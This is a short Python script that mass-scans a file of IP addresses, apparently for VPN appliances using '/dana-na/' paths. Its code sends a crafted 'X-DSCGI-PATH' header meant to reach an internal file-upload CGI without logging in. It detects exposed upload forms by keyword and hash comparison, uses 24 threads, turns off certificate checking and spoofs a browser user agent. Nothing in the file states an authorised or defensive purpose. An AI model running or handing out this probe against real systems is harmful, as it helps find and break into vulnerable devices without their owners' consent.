import concurrent.futures, hashlib, ssl, sys, urllib.error, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
URL = "https://%s/dana-na/auth/url_default/welcome.cgi"
HDR = {"X-DSCGI-PATH": "/home/webserver/htdocs/dana/fb/smb/wu.cgi"}
NEEDLE = ("Browse buttons", "frmUpload", "upload file")


def ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    c.set_ciphers("DEFAULT@SECLEVEL=1")
    return c


def get(ip, hdr, timeout=15):
    req = urllib.request.Request(URL % ip)
    req.add_header("User-Agent", UA)
    for k, v in hdr.items():
        req.add_header(k, v)
    try:
        r = urllib.request.urlopen(req, timeout=timeout, context=ctx())
        b = r.read(60000).decode("utf-8", "replace")
        return r.status, len(b), hashlib.md5(b.encode("utf-8", "replace")).hexdigest()[:8], b
    except urllib.error.HTTPError as e:
        try:
            b = e.read(60000).decode("utf-8", "replace")
        except Exception:
            b = ""
        return e.code, len(b), hashlib.md5(b.encode("utf-8", "replace")).hexdigest()[:8], b
    except Exception as e:
        return None, 0, "-", type(e).__name__


def one(ip):
    s0, l0, h0, _ = get(ip, {})
    s1, l1, h1, b1 = get(ip, HDR)
    hit = "YES" if any(n.lower() in b1.lower() for n in NEEDLE) else "no"
    flag = "same" if h0 == h1 else "DIFF"
    return "%s\t%s\t%d\t%s\t%d\t%s\t%s\t%d" % (ip, s0 or "ERR", l0, s1 or "ERR", l1, hit, flag, l1 - l0)


def main():
    src, out = sys.argv[1], sys.argv[2]
    ips = [l.strip() for l in open(src) if l.strip()]
    print("targets", len(ips), flush=True)
    with open(out, "w") as f:
        with concurrent.futures.ThreadPoolExecutor(max_workers=24) as pool:
            for i, r in enumerate(pool.map(one, ips), 1):
                f.write(r + "\n")
                f.flush()
                if i % 50 == 0:
                    print("done", i, flush=True)
    print("finished", flush=True)


main()
